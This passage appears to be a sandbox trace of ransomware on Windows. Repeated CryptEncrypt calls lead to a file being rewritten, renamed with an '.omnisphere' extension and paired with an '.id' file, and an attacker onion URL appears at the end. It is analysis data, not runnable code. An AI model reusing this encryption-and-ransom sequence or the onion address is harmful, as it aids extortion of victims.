pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.071] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.072] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.072] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0118.072] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x807, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.072] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.073] GetProcessHeap () returned 0x1600000 [0118.073] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b8) returned 0x169f120 [0118.073] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms.omnisphere")) returned 1 [0118.073] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms.omnisphere.id" [0118.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.074] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.074] CloseHandle (hObject=0x3c0) returned 1 [0118.075] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.075] CloseHandle (hObject=0x288) returned 1 [0118.075] SetEndOfFile (hFile=0x28c) returned 1 [0118.075] FlushFileBuffers (hFile=0x28c) returned 1 [0118.078] CloseHandle (hObject=0x28c) returned 1 [0118.079] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 1 [0118.079] GetProcessHeap () returned 0x1600000 [0118.079] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169f3e0 [0118.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 